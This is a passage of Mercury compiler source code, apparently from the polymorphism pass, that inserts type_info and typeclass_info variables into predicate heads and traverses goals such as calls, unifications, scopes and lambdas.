!ExtraArgModes),\n    poly_arg_vector_set_instance_typeclass_infos(\n        InstanceHeadTypeClassInfoModes, !ExtraArgModes),\n\n    setup_headvars_2(PredInfo, ClassContext,\n        InstanceTVars,\n        UnconstrainedInstanceTVars, UnconstrainedInstanceTypeInfoVars,\n        !HeadVars,\n        UnconstrainedTVars, ExtraHeadTypeInfoVars,\n        ExistHeadTypeClassInfoVars, !ExtraArgModes, !Info).\n\n:- pred setup_headvars_2(pred_info::in, prog_constraints::in,\n    list(tvar)::in, list(tvar)::in, list(prog_var)::in,\n    proc_arg_vector(prog_var)::in, proc_arg_vector(prog_var)::out,\n    list(tvar)::out, list(prog_var)::out, list(prog_var)::out,\n    poly_arg_vector(mer_mode)::in, poly_arg_vector(mer_mode)::out,\n    poly_info::in, poly_info::out) is det.\n\nsetup_headvars_2(PredInfo, ClassContext,\n        InstanceTVars, UnconstrainedInstanceTVars,\n        UnconstrainedInstanceTypeInfoVars, HeadVars0,\n        HeadVars, AllUnconstrainedTVars,\n        AllExtraHeadTypeInfoVars, ExistHeadTypeClassInfoVars,\n        !ExtraArgModes, !Info) :-\n\n    % Grab the appropriate fields from the pred_info.\n    pred_info_get_arg_types(PredInfo, ArgTypeVarSet, ExistQVars, ArgTypes),\n\n    % Insert extra head variables to hold the address of the type_infos\n    % and typeclass_infos. We insert one variable for each unconstrained\n    % type variable (for the type_info) and one variable for each\n    % constraint (for the typeclass_info).\n    %\n    % The order of these variables is important, and must match the order\n    % specified at the top of this file.\n\n    % Make a fresh variable for each class constraint, returning a list of\n    % variables that appear in the constraints, along with the location of\n    % the type infos for them. For the existential constraints, we want\n    % the rtti_varmaps to contain the internal view of the types (that is,\n    % with type variables bound) so we may need to look up the actual\n    % constraints in the constraint map. For the universal constraints there\n    % is no distinction between the internal views and the external view, so\n    % we just use the constraints from the class context.\n    ClassContext = constraints(UnivConstraints, ExistConstraints),\n    prog_type.constraint_list_get_tvars(UnivConstraints,\n        UnivConstrainedTVars),\n    prog_type.constraint_list_get_tvars(ExistConstraints,\n        ExistConstrainedTVars),\n    poly_info_get_constraint_map(!.Info, ConstraintMap),\n    get_improved_exists_head_constraints(ConstraintMap, ExistConstraints,\n        ActualExistConstraints),\n    (\n        pred_info_get_markers(PredInfo, PredMarkers),\n        check_marker(PredMarkers, marker_class_method)\n    ->\n        % For class methods we record the type_info_locns even for the\n        % existential constraints. It is easier to do it here than when we\n        % are expanding class method bodies, and we know there won't be any\n        % references to the type_info after the instance method call so\n        % recording them now won't be a problem.\n        RecordExistQLocns = do_record_type_info_locns\n    ;\n        RecordExistQLocns = do_not_record_type_info_locns\n    ),\n    make_typeclass_info_head_vars(RecordExistQLocns, ActualExistConstraints,\n        ExistHeadTypeClassInfoVars, !Info),\n    make_typeclass_info_head_vars(do_record_type_info_locns, UnivConstraints,\n        UnivHeadTypeClassInfoVars, !Info),\n\n    type_vars_list(ArgTypes, HeadTypeVars),\n    list.delete_elems(HeadTypeVars, UnivConstrainedTVars,\n        UnconstrainedTVars0),\n    list.delete_elems(UnconstrainedTVars0, ExistConstrainedTVars,\n        UnconstrainedTVars1),\n\n    % Typeinfos for the instance tvars have already been introduced by\n    % setup_headvars_instance_method.\n    list.delete_elems(UnconstrainedTVars1, InstanceTVars,\n        UnconstrainedTVars2),\n    list.remove_dups(UnconstrainedTVars2, UnconstrainedTVars),\n\n    (\n        ExistQVars = [],\n        % Optimize common case.\n        UnconstrainedUnivTVars = UnconstrainedTVars,\n        UnconstrainedExistTVars = [],\n        ExistHeadTypeInfoVars = []\n    ;\n        ExistQVars = [_ | _],\n        list.delete_elems(UnconstrainedTVars, ExistQVars,\n            UnconstrainedUnivTVars),\n        list.delete_elems(UnconstrainedTVars, UnconstrainedUnivTVars,\n            UnconstrainedExistTVars),\n        make_head_vars(UnconstrainedExistTVars, ArgTypeVarSet,\n            ExistHeadTypeInfoVars, !Info)\n    ),\n\n    make_head_vars(UnconstrainedUnivTVars, ArgTypeVarSet,\n        UnivHeadTypeInfoVars, !Info),\n    ExtraHeadTypeInfoVars = UnivHeadTypeInfoVars ++ ExistHeadTypeInfoVars,\n\n    AllExtraHeadTypeInfoVars = UnconstrainedInstanceTypeInfoVars\n        ++ ExtraHeadTypeInfoVars,\n    list.condense([UnconstrainedInstanceTVars, UnconstrainedUnivTVars,\n        UnconstrainedExistTVars], AllUnconstrainedTVars),\n\n    proc_arg_vector_set_univ_type_infos(UnivHeadTypeInfoVars,\n        HeadVars0, HeadVars1),\n    proc_arg_vector_set_exist_type_infos(ExistHeadTypeInfoVars,\n        HeadVars1, HeadVars2),\n    proc_arg_vector_set_univ_typeclass_infos(UnivHeadTypeClassInfoVars,\n        HeadVars2, HeadVars3),\n    proc_arg_vector_set_exist_typeclass_infos(ExistHeadTypeClassInfoVars,\n        HeadVars3, HeadVars),\n\n    % Figure out the modes of the introduced type_info and typeclass_info\n    % arguments.\n\n    in_mode(In),\n    out_mode(Out),\n    list.length(UnconstrainedUnivTVars, NumUnconstrainedUnivTVars),\n    list.length(UnconstrainedExistTVars, NumUnconstrainedExistTVars),\n    list.length(UnivHeadTypeClassInfoVars, NumUnivClassInfoVars),\n    list.length(ExistHeadTypeClassInfoVars, NumExistClassInfoVars),\n    list.duplicate(NumUnconstrainedUnivTVars, In, UnivTypeInfoModes),\n    list.duplicate(NumUnconstrainedExistTVars, Out, ExistTypeInfoModes),\n    list.duplicate(NumUnivClassInfoVars, In, UnivTypeClassInfoModes),\n    list.duplicate(NumExistClassInfoVars, Out, ExistTypeClassInfoModes),\n    poly_arg_vector_set_univ_type_infos(UnivTypeInfoModes, !ExtraArgModes),\n    poly_arg_vector_set_exist_type_infos(ExistTypeInfoModes, !ExtraArgModes),\n    poly_arg_vector_set_univ_typeclass_infos(UnivTypeClassInfoModes,\n        !ExtraArgModes),\n    poly_arg_vector_set_exist_typeclass_infos(ExistTypeClassInfoModes,\n        !ExtraArgModes),\n\n    % Add the locations of the typeinfos for unconstrained, universally\n    % quantified type variables to the initial rtti_varmaps. Also add the\n    % locations of typeclass_infos.\n    %\n    some [!RttiVarMaps] (\n        poly_info_get_rtti_varmaps(!.Info, !:RttiVarMaps),\n\n        ToLocn = (pred(TheVar::in, TheLocn::out) is det :-\n            TheLocn = type_info(TheVar)),\n\n        list.map(ToLocn, UnivHeadTypeInfoVars, UnivTypeLocns),\n        list.foldl_corresponding(rtti_det_insert_type_info_locn,\n            UnconstrainedUnivTVars, UnivTypeLocns, !RttiVarMaps),\n\n        list.map(ToLocn, ExistHeadTypeInfoVars, ExistTypeLocns),\n        list.foldl_corresponding(rtti_det_insert_type_info_locn,\n            UnconstrainedExistTVars, ExistTypeLocns, !RttiVarMaps),\n\n        list.map(ToLocn, UnconstrainedInstanceTypeInfoVars,\n            UnconstrainedInstanceTypeLocns),\n        list.foldl_corresponding(rtti_det_insert_type_info_locn,\n            UnconstrainedInstanceTVars,\n            UnconstrainedInstanceTypeLocns, !RttiVarMaps),\n\n        list.foldl(rtti_reuse_typeclass_info_var,\n            UnivHeadTypeClassInfoVars, !RttiVarMaps),\n\n        poly_info_set_rtti_varmaps(!.RttiVarMaps, !Info)\n    ).\n\n    % Generate code to produce the values of type_infos and typeclass_infos\n    % for existentially quantified type variables in the head.\n    %\n    % XXX The following code ought to be rewritten to handle\n    % existential/universal type_infos and type_class_infos\n    % in a more consistent manner.\n    %\n:- pred produce_existq_tvars(pred_info::in, proc_arg_vector(prog_var)::in,\n    list(tvar)::in, list(prog_var)::in, list(prog_var)::in,\n    hlds_goal::in, hlds_goal::out, poly_info::in, poly_info::out) is det.\n\nproduce_existq_tvars(PredInfo, HeadVars, UnconstrainedTVars,\n        TypeInfoHeadVars, ExistTypeClassInfoHeadVars, Goal0, Goal, !Info) :-\n    poly_info_get_var_types(!.Info, VarTypes0),\n    poly_info_get_constraint_map(!.Info, ConstraintMap),\n    pred_info_get_arg_types(PredInfo, ArgTypes),\n    pred_info_get_tvar_kinds(PredInfo, KindMap),\n    pred_info_get_class_context(PredInfo, PredClassContext),\n\n    % Generate code to produce values for any existentially quantified\n    % typeclass_info variables in the head.\n\n    PredExistConstraints = PredClassContext ^ exist_constraints,\n    get_improved_exists_head_constraints(ConstraintMap, PredExistConstraints,\n        ActualExistConstraints),\n    ExistQVarsForCall = [],\n    Goal0 = hlds_goal(_, GoalInfo),\n    Context = goal_info_get_context(GoalInfo),\n    make_typeclass_info_vars(ActualExistConstraints, ExistQVarsForCall,\n        Context, ExistTypeClassVarsMCAs, ExtraTypeClassGoals, !Info),\n    assoc_list.keys(ExistTypeClassVarsMCAs, ExistTypeClassVars),\n    poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n    list.foldl(rtti_reuse_typeclass_info_var, ExistTypeClassVars,\n        RttiVarMaps0, RttiVarMaps),\n    poly_info_set_rtti_varmaps(RttiVarMaps, !Info),\n    assign_var_list(ExistTypeClassInfoHeadVars,\n        ExistTypeClassVars, ExtraTypeClassUnifyGoals),\n\n    % Figure out the bindings for any unconstrained existentially quantified\n    % type variables in the head.\n\n    ( vartypes_is_empty(VarTypes0) ->\n        % This can happen for compiler generated procedures.\n        map.init(PredToActualTypeSubst)\n    ;\n        HeadVarList = proc_arg_vector_to_list(HeadVars),\n        lookup_var_types(VarTypes0, HeadVarList, ActualArgTypes),\n        type_list_subsumes(ArgTypes, ActualArgTypes, ArgTypeSubst)\n    ->\n        PredToActualTypeSubst = ArgTypeSubst\n    ;\n        % This can happen for unification procedures of equivalence types\n        % error(\"polymorphism.m: type_list_subsumes failed\")\n        map.init(PredToActualTypeSubst)\n    ),\n\n    % Apply the type bindings to the unconstrained type variables to give\n    % the actual types, and then generate code to initialize the type_infos\n    % for those types.\n\n    apply_subst_to_tvar_list(KindMap, PredToActualTypeSubst,\n        UnconstrainedTVars, ActualTypes),\n    polymorphism_do_make_type_info_vars(ActualTypes, Context,\n        TypeInfoVarsMCAs, ExtraTypeInfoGoals, !Info),\n    assoc_list.keys(TypeInfoVarsMCAs, TypeInfoVars),\n    assign_var_list(TypeInfoHeadVars, TypeInfoVars, ExtraTypeInfoUnifyGoals),\n    list.condense([[Goal0 | ExtraTypeClassGoals], ExtraTypeClassUnifyGoals,\n        ExtraTypeInfoGoals, ExtraTypeInfoUnifyGoals], GoalList),\n    conj_list_to_goal(GoalList, GoalInfo, Goal).\n\n:- pred assign_var_list(list(prog_var)::in, list(prog_var)::in,\n    list(hlds_goal)::out) is det.\n\nassign_var_list([], [_ | _], _) :-\n    unexpected($module, $pred, \"length mismatch\").\nassign_var_list([_ | _], [], _) :-\n    unexpected($module, $pred, \"length mismatch\").\nassign_var_list([], [], []).\nassign_var_list([Var1 | Vars1], [Var2 | Vars2], [Goal | Goals]) :-\n    assign_var(Var1, Var2, Goal),\n    assign_var_list(Vars1, Vars2, Goals).\n\n:- pred assign_var(prog_var::in, prog_var::in, hlds_goal::out) is det.\n\nassign_var(Var1, Var2, Goal) :-\n    ( Var1 = Var2 ->\n        Goal = true_goal\n    ;\n        term.context_init(Context),\n        create_pure_atomic_complicated_unification(Var1, rhs_var(Var2),\n            Context, umc_explicit, [], Goal)\n    ).\n\n:- pred get_improved_exists_head_constraints(constraint_map::in,\n    list(prog_constraint)::in, list(prog_constraint)::out) is det.\n\nget_improved_exists_head_constraints(ConstraintMap,  ExistConstraints,\n        ActualExistConstraints) :-\n    list.length(ExistConstraints, NumExistConstraints),\n    (\n        search_hlds_constraint_list(ConstraintMap, unproven, goal_id(0),\n            NumExistConstraints, ActualExistConstraints0)\n    ->\n        ActualExistConstraints = ActualExistConstraints0\n    ;\n        % Some predicates, for example typeclass methods and predicates for\n        % which we inferred the type, don't have constraint map entries for\n        % the head constraints. In these cases we can just use the external\n        % constraints, since there can't be any difference between them and\n        % the internal ones.\n        ActualExistConstraints = ExistConstraints\n    ).\n\n%-----------------------------------------------------------------------------%\n\n:- pred polymorphism_process_goal(hlds_goal::in, hlds_goal::out,\n    poly_info::in, poly_info::out) is det.\n\npolymorphism_process_goal(Goal0, Goal, !Info) :-\n    Goal0 = hlds_goal(GoalExpr0, GoalInfo0),\n    (\n        % We don't need to add type_infos for higher order calls, since the\n        % type_infos are added when the closures are constructed, not when\n        % they are called.\n        GoalExpr0 = generic_call(_, _, _, _, _),\n        Goal = Goal0\n    ;\n        GoalExpr0 = plain_call(PredId, _, ArgVars0, _, _, _),\n        polymorphism_process_call(PredId, ArgVars0, GoalInfo0, GoalInfo,\n            ExtraVars, ExtraGoals, !Info),\n        ArgVars = ExtraVars ++ ArgVars0,\n        CallExpr = GoalExpr0 ^ call_args := ArgVars,\n        Call = hlds_goal(CallExpr, GoalInfo),\n        GoalList = ExtraGoals ++ [Call],\n        conj_list_to_goal(GoalList, GoalInfo0, Goal)\n    ;\n        GoalExpr0 = call_foreign_proc(_, PredId, _, _, _, _, _),\n        poly_info_get_module_info(!.Info, ModuleInfo),\n        module_info_pred_info(ModuleInfo, PredId, PredInfo),\n        PredModule = pred_info_module(PredInfo),\n        PredName = pred_info_name(PredInfo),\n        PredArity = pred_info_orig_arity(PredInfo),\n\n        ( no_type_info_builtin(PredModule, PredName, PredArity) ->\n            Goal = Goal0\n        ;\n            polymorphism_process_foreign_proc(PredInfo, GoalExpr0, GoalInfo0,\n                Goal, !Info)\n        )\n    ;\n        GoalExpr0 = unify(XVar, Y, Mode, Unification, UnifyContext),\n        polymorphism_process_unify(XVar, Y, Mode, Unification, UnifyContext,\n            GoalInfo0, Goal, !Info)\n    ;\n        % The rest of the cases just process goals recursively.\n        (\n            GoalExpr0 = conj(ConjType, Goals0),\n            (\n                ConjType = plain_conj,\n                polymorphism_process_plain_conj(Goals0, Goals, !Info)\n            ;\n                ConjType = parallel_conj,\n                get_cache_maps_snapshot(\"parconj\", InitialSnapshot, !Info),\n                polymorphism_process_par_conj(Goals0, Goals, InitialSnapshot,\n                    !Info)\n                % Unlike with disjunctions, we do not have to reset to\n                % InitialSnapshot.\n            ),\n            GoalExpr = conj(ConjType, Goals)\n        ;\n            GoalExpr0 = disj(Goals0),\n            get_cache_maps_snapshot(\"disj\", InitialSnapshot, !Info),\n            polymorphism_process_disj(Goals0, Goals, InitialSnapshot, !Info),\n            set_cache_maps_snapshot(\"after disj\", InitialSnapshot, !Info),\n            GoalExpr = disj(Goals)\n        ;\n            GoalExpr0 = if_then_else(Vars, Cond0, Then0, Else0),\n            get_cache_maps_snapshot(\"ite\", InitialSnapshot, !Info),\n            polymorphism_process_goal(Cond0, Cond, !Info),\n            % If we allowed a type_info created inside Cond to be reused\n            % in Then, then we are adding an output variable to Cond.\n            % If Cond scope had no outputs to begin with, this would change\n            % its determinism.\n            set_cache_maps_snapshot(\"before then\", InitialSnapshot, !Info),\n            polymorphism_process_goal(Then0, Then, !Info),\n            set_cache_maps_snapshot(\"before else\", InitialSnapshot, !Info),\n            polymorphism_process_goal(Else0, Else, !Info),\n            set_cache_maps_snapshot(\"after ite\", InitialSnapshot, !Info),\n            GoalExpr = if_then_else(Vars, Cond, Then, Else)\n        ;\n            GoalExpr0 = negation(SubGoal0),\n            get_cache_maps_snapshot(\"neg\", InitialSnapshot, !Info),\n            polymorphism_process_goal(SubGoal0, SubGoal, !Info),\n            set_cache_maps_snapshot(\"after neg\", InitialSnapshot, !Info),\n            GoalExpr = negation(SubGoal)\n        ;\n            GoalExpr0 = switch(Var, CanFail, Cases0),\n            get_cache_maps_snapshot(\"switch\", InitialSnapshot, !Info),\n            polymorphism_process_cases(Cases0, Cases, InitialSnapshot, !Info),\n            set_cache_maps_snapshot(\"after switch\", InitialSnapshot, !Info),\n            GoalExpr = switch(Var, CanFail, Cases)\n        ;\n            GoalExpr0 = scope(Reason0, SubGoal0),\n            (\n                Reason0 = from_ground_term(TermVar, Kind),\n                (\n                    Kind = from_ground_term_initial,\n                    polymorphism_process_from_ground_term_initial(TermVar,\n                        GoalInfo0, SubGoal0, GoalExpr, !Info)\n                ;\n                    ( Kind = from_ground_term_construct\n                    ; Kind = from_ground_term_deconstruct\n                    ; Kind = from_ground_term_other\n                    ),\n                    polymorphism_process_goal(SubGoal0, SubGoal, !Info),\n                    GoalExpr = scope(Reason0, SubGoal)\n                )\n            ;\n                Reason0 = promise_solutions(_, _),\n                % polymorphism_process_goal may cause SubGoal to bind\n                % variables (such as PolyConst variables) that SubGoal0 does\n                % not bind. If we allowed such variables to be reused outside\n                % the scope, that would change the set of variables that the\n                % promise would have to cover. We cannot expect and do not want\n                % user level programmers making promises about variables added\n                % by the compiler.\n                get_cache_maps_snapshot(\"promise_solns\", InitialSnapshot,\n                    !Info),\n                polymorphism_process_goal(SubGoal0, SubGoal, !Info),\n                set_cache_maps_snapshot(\"after promise_solns\", InitialSnapshot,\n                    !Info),\n                GoalExpr = scope(Reason0, SubGoal)\n            ;\n                ( Reason0 = promise_purity(_)\n                ; Reason0 = require_detism(_)\n                ; Reason0 = require_complete_switch(_)\n                ; Reason0 = commit(_)\n                ; Reason0 = barrier(_)\n                ; Reason0 = loop_control(_, _, _)\n                ),\n                polymorphism_process_goal(SubGoal0, SubGoal, !Info),\n                GoalExpr = scope(Reason0, SubGoal)\n            ;\n                Reason0 = exist_quant(_),\n                % If we allowed a type_info created inside SubGoal to be reused\n                % outside GoalExpr, then we are adding an output variable to\n                % the scope. If the scope had no outputs to begin with, this\n                % would change the determinism of the scope.\n                %\n                % However, using a type_info from before the scope in SubGoal\n                % is perfectly ok.\n\n                get_cache_maps_snapshot(\"exists\", InitialSnapshot, !Info),\n                polymorphism_process_goal(SubGoal0, SubGoal, !Info),\n                set_cache_maps_snapshot(\"after exists\", InitialSnapshot,\n                    !Info),\n                GoalExpr = scope(Reason0, SubGoal)\n            ;\n                Reason0 = trace_goal(_, _, _, _, _),\n                % Trace goal scopes will be deleted after semantic analysis\n                % if their compile-time condition turns out to be false.\n                % If we let later code use type_infos introduced inside the\n                % scope, the deletion of the scope would leave those variables\n                % undefined.\n                %\n                % We *could* evaluate the compile-time condition here to know\n                % whether the deletion will happen or not, but doing so would\n                % require breaching the separation between compiler passes.\n\n                get_cache_maps_snapshot(\"trace\", InitialSnapshot, !Info),\n                polymorphism_process_goal(SubGoal0, SubGoal, !Info),\n                set_cache_maps_snapshot(\"after trace\", InitialSnapshot, !Info),\n                GoalExpr = scope(Reason0, SubGoal)\n            )\n        ),\n        Goal = hlds_goal(GoalExpr, GoalInfo0)\n    ;\n        GoalExpr0 = shorthand(ShortHand0),\n        (\n            ShortHand0 = atomic_goal(GoalType, Outer, Inner, Vars,\n                MainGoal0, OrElseGoals0, OrElseInners),\n            get_cache_maps_snapshot(\"atomic\", InitialSnapshot, !Info),\n            polymorphism_process_goal(MainGoal0, MainGoal, !Info),\n            polymorphism_process_disj(OrElseGoals0, OrElseGoals,\n                InitialSnapshot, !Info),\n            set_cache_maps_snapshot(\"after atomic\", InitialSnapshot, !Info),\n            ShortHand = atomic_goal(GoalType, Outer, Inner, Vars,\n                MainGoal, OrElseGoals, OrElseInners)\n        ;\n            ShortHand0 = try_goal(MaybeIO, ResultVar, SubGoal0),\n            % We don't let the code inside and outside the try goal share\n            % type_info variables for the same reason as with lambda\n            % expressions; because those pieces of code will end up\n            % in different procedures. However, for try goals, this is true\n            % even for the first and second conjuncts.\n            get_cache_maps_snapshot(\"try\", InitialSnapshot, !Info),\n            (\n                SubGoal0 = hlds_goal(SubGoalExpr0, SubGoalInfo),\n                SubGoalExpr0 = conj(plain_conj, Conjuncts0),\n                Conjuncts0 = [ConjunctA0, ConjunctB0]\n            ->\n                empty_cache_maps(!Info),\n                polymorphism_process_goal(ConjunctA0, ConjunctA, !Info),\n                empty_cache_maps(!Info),\n                polymorphism_process_goal(ConjunctB0, ConjunctB, !Info),\n\n                Conjuncts = [ConjunctA, ConjunctB],\n                SubGoalExpr = conj(plain_conj, Conjuncts),\n                SubGoal = hlds_goal(SubGoalExpr, SubGoalInfo)\n            ;\n                unexpected($module, $pred, \"malformed try goal\")\n            ),\n            set_cache_maps_snapshot(\"after try\", InitialSnapshot, !Info),\n            ShortHand = try_goal(MaybeIO, ResultVar, SubGoal)\n        ;\n            ShortHand0 = bi_implication(_, _),\n            unexpected($module, $pred, \"bi_implication\")\n        ),\n        GoalExpr = shorthand(ShortHand),\n        Goal = hlds_goal(GoalExpr, GoalInfo0)\n    ).\n\n%-----------------------------------------------------------------------------%\n\n:- pred polymorphism_process_from_ground_term_initial(prog_var::in,\n    hlds_goal_info::in, hlds_goal::in, hlds_goal_expr::out,\n    poly_info::in, poly_info::out) is det.\n\npolymorphism_process_from_ground_term_initial(TermVar, GoalInfo0, SubGoal0,\n        GoalExpr, !Info) :-\n    SubGoal0 = hlds_goal(SubGoalExpr0, SubGoalInfo0),\n    ( SubGoalExpr0 = conj(plain_conj, SubGoals0Prime) ->\n        SubGoals0 = SubGoals0Prime\n    ;\n        unexpected($module, $pred,\n            \"from_ground_term_initial goal is not plain conj\")\n    ),\n    polymorphism_process_fgti_goals(SubGoals0, [], RevMarkedSubGoals,\n        fgt_invariants_kept, InvariantsStatus, !Info),\n    (\n        InvariantsStatus = fgt_invariants_kept,\n        Reason = from_ground_term(TermVar, from_ground_term_initial),\n        GoalExpr = scope(Reason, SubGoal0)\n    ;\n        InvariantsStatus = fgt_invariants_broken,\n        introduce_partial_fgt_scopes(GoalInfo0, SubGoalInfo0,\n            RevMarkedSubGoals, deconstruct_top_down, SubGoal),\n        % Delete the scope wrapper around SubGoal0.\n        SubGoal = hlds_goal(GoalExpr, _)\n    ).\n\n:- pred polymorphism_process_fgti_goals(list(hlds_goal)::in,\n    list(fgt_marked_goal)::in, list(fgt_marked_goal)::out,\n    fgt_invariants_status::in, fgt_invariants_status::out,\n    poly_info::in, poly_info::out) is det.\n\npolymorphism_process_fgti_goals([], !RevMarkedGoals, !InvariantsStatus, !Info).\npolymorphism_process_fgti_goals([Goal0 | Goals0], !RevMarkedGoals,\n        !InvariantsStatus, !Info) :-\n    % This is used only if polymorphism_fgt_sanity_tests is enabled.\n    OldInfo = !.Info,\n    Goal0 = hlds_goal(GoalExpr0, GoalInfo0),\n    (\n        GoalExpr0 = unify(XVarPrime, Y, ModePrime, UnificationPrime,\n            UnifyContextPrime),\n        Y = rhs_functor(ConsIdPrime, _, YVarsPrime)\n    ->\n        XVar = XVarPrime,\n        Mode = ModePrime,\n        Unification = UnificationPrime,\n        UnifyContext = UnifyContextPrime,\n        ConsId = ConsIdPrime,\n        YVars = YVarsPrime\n    ;\n        unexpected($module, $pred,\n            \"from_ground_term_initial conjunct is not functor unify\")\n    ),\n    polymorphism_process_unify_functor(XVar, ConsId, YVars, Mode,\n        Unification, UnifyContext, GoalInfo0, Goal, Changed, !Info),\n    (\n        Changed = no,\n        trace [compiletime(flag(\"polymorphism_fgt_sanity_tests\"))] (\n            poly_info_get_varset(OldInfo, VarSetBefore),\n            MaxVarBefore = varset.max_var(VarSetBefore),\n            poly_info_get_num_reuses(OldInfo, NumReusesBefore),\n\n            poly_info_get_varset(!.Info, VarSetAfter),\n            MaxVarAfter = varset.max_var(VarSetAfter),\n            poly_info_get_num_reuses(!.Info, NumReusesAfter),\n\n            expect(unify(MaxVarBefore, MaxVarAfter), $module, $pred,\n                \"MaxVarBefore != MaxVarAfter\"),\n            expect(unify(NumReusesBefore, NumReusesAfter), $module, $pred,\n                \"NumReusesBefore != NumReusesAfter\"),\n            expect(unify(Goal0, Goal), $module, $pred,\n                \"Goal0 != Goal\")\n        ),\n        MarkedGoal = fgt_kept_goal(Goal0, XVar, YVars)\n    ;\n        Changed = yes,\n        MarkedGoal = fgt_broken_goal(Goal, XVar, YVars),\n        !:InvariantsStatus = fgt_invariants_broken\n    ),\n    !:RevMarkedGoals = [MarkedGoal | !.RevMarkedGoals],\n    polymorphism_process_fgti_goals(Goals0, !RevMarkedGoals,\n        !InvariantsStatus, !Info).\n\n%-----------------------------------------------------------------------------%\n\n:- pred polymorphism_process_unify(prog_var::in, unify_rhs::in,\n    unify_mode::in, unification::in, unify_context::in, hlds_goal_info::in,\n    hlds_goal::out, poly_info::in, poly_info::out) is det.\n\npolymorphism_process_unify(XVar, Y, Mode, Unification0, UnifyContext,\n        GoalInfo0, Goal, !Info) :-\n    (\n        Y = rhs_var(_YVar),\n\n        % Var-var unifications (simple_test, assign, or complicated_unify)\n        % are basically left unchanged. Complicated unifications will\n        % eventually get converted into calls, but that is done later on,\n        % by simplify.m, not now. At this point we just need to figure out\n        % which type_info/typeclass_info variables the unification might need,\n        % and insert them in the nonlocals. We have to do that for all var-var\n        % unifications, because at this point we haven't done mode analysis so\n        % we don't know which ones will become complicated_unifies.\n        % Note that we also store the type_info/typeclass_info variables\n        % in a field in the unification, which quantification.m uses when\n        % requantifying things.\n\n        poly_info_get_var_types(!.Info, VarTypes),\n        lookup_var_type(VarTypes, XVar, Type),\n        unification_typeinfos(Type, Unification0, Unification,\n            GoalInfo0, GoalInfo, _Changed, !Info),\n        Goal = hlds_goal(unify(XVar, Y, Mode, Unification, UnifyContext),\n            GoalInfo)\n    ;\n        Y = rhs_functor(ConsId, _, Args),\n        polymorphism_process_unify_functor(XVar, ConsId, Args, Mode,\n            Unification0, UnifyContext, GoalInfo0, Goal, _Changed, !Info)\n    ;\n        Y = rhs_lambda_goal(Purity, Groundness, PredOrFunc, EvalMethod,\n            ArgVars0, LambdaVars, Modes, Det, LambdaGoal0),\n\n        % For lambda expressions, we must recursively traverse the lambda goal.\n        % Any type_info variables needed by the lambda goal are created in the\n        % lambda goal (not imported from the outside), and any type_info\n        % variables created by the lambda goal are not available outside.\n        % This is because, after lambda expansion, the code inside and outside\n        % the lambda goal will end up in different procedures.\n\n        get_cache_maps_snapshot(\"lambda\", InitialSnapshot, !Info),\n        empty_cache_maps(!Info),\n        polymorphism_process_goal(LambdaGoal0, LambdaGoal1, !Info),\n        set_cache_maps_snapshot(\"after lambda\", InitialSnapshot, !Info),\n\n        % Currently we don't allow lambda goals to be existentially typed.\n        ExistQVars = [],\n        fixup_lambda_quantification(ArgVars0, LambdaVars, ExistQVars,\n            LambdaGoal1, LambdaGoal, NonLocalTypeInfos, !Info),\n        set_of_var.to_sorted_list(NonLocalTypeInfos, NonLocalTypeInfosList),\n        ArgVars = NonLocalTypeInfosList ++ ArgVars0,\n        Y1 = rhs_lambda_goal(Purity, Groundness, PredOrFunc, EvalMethod,\n            ArgVars, LambdaVars, Modes, Det, LambdaGoal),\n        NonLocals0 = goal_info_get_nonlocals(GoalInfo0),\n        set_of_var.union(NonLocals0, NonLocalTypeInfos, NonLocals),\n        goal_info_set_nonlocals(NonLocals, GoalInfo0, GoalInfo),\n\n        % Complicated (in-in) argument unifications are impossible for lambda\n        % expressions, so we don't need to worry about adding the type_infos\n        % that would be required for such unifications.\n        Goal = hlds_goal(unify(XVar, Y1, Mode, Unification0, UnifyContext),\n            GoalInfo)\n    ).\n\n:- pred unification_typeinfos(mer_type::in,\n    unification::in, unification::out, hlds_goal_info::in, hlds_goal_info::out,\n    bool::out, poly_info::in, poly_info::out) is det.\n\nunification_typeinfos(Type, !Unification, !GoalInfo, Changed, !Info) :-\n    % Compute the type_info/type_class_info variables that would be used\n    % if this unification ends up being a complicated_unify.\n    type_vars(Type, TypeVars),\n    (\n        TypeVars = [],\n        Changed = no\n    ;\n        TypeVars = [_ | _],\n        list.map_foldl(get_type_info_locn, TypeVars, TypeInfoLocns, !Info),\n        add_unification_typeinfos(TypeInfoLocns, !Unification, !GoalInfo),\n        Changed = yes\n    ).\n\nunification_typeinfos_rtti_varmaps(Type, RttiVarMaps, !Unification,\n        !GoalInfo) :-\n    % This variant is for use by modecheck_unify.m. During mode checking,\n    % all the type_infos should appear in the type_info_varmap.\n\n    % Compute the type_info/type_class_info variables that would be used\n    % if this unification ends up being a complicated_unify.\n    type_vars(Type, TypeVars),\n    list.map(rtti_lookup_type_info_locn(RttiVarMaps), TypeVars,\n        TypeInfoLocns),\n    add_unification_typeinfos(TypeInfoLocns, !Unification, !GoalInfo).\n\n:- pred add_unification_typeinfos(list(type_info_locn)::in,\n    unification::in, unification::out,\n    hlds_goal_info::in, hlds_goal_info::out) is det.\n\nadd_unification_typeinfos(TypeInfoLocns, !Unification, !GoalInfo) :-\n    list.map(type_info_locn_var, TypeInfoLocns, TypeInfoVars0),\n    list.remove_dups(TypeInfoVars0, TypeInfoVars),\n\n    % Insert the TypeInfoVars into the nonlocals field of the goal_info\n    % for the unification goal.\n    NonLocals0 = goal_info_get_nonlocals(!.GoalInfo),\n    set_of_var.insert_list(TypeInfoVars, NonLocals0, NonLocals),\n    goal_info_set_nonlocals(NonLocals, !GoalInfo),\n\n    % Also save those type_info vars into a field in the complicated_unify,\n    % so that quantification.m can recompute variable scopes properly.\n    % This field is also used by modecheck_unify.m -- for complicated\n    % unifications, it checks that all these variables are ground.\n    (\n        !.Unification = complicated_unify(Modes, CanFail, _),\n        !:Unification = complicated_unify(Modes, CanFail, TypeInfoVars)\n    ;\n        % This can happen if an earlier stage of compilation has already\n        % determined that this unification is particular kind of unification.\n        % In that case, the type_info vars won't be needed.\n        ( !.Unification = construct(_, _, _, _, _, _, _)\n        ; !.Unification = deconstruct(_, _, _, _, _, _)\n        ; !.Unification = assign(_, _)\n        ; !.Unification = simple_test(_, _)\n        )\n    ).\n\n:- pred polymorphism_process_unify_functor(prog_var::in, cons_id::in,\n    list(prog_var)::in, unify_mode::in, unification::in, unify_context::in,\n    hlds_goal_info::in, hlds_goal::out, bool::out,\n    poly_info::in, poly_info::out) is det.\n\npolymorphism_process_unify_functor(X0, ConsId0, ArgVars0, Mode0, Unification0,\n        UnifyContext, GoalInfo0, Goal, Changed, !Info) :-\n    poly_info_get_module_info(!.Info, 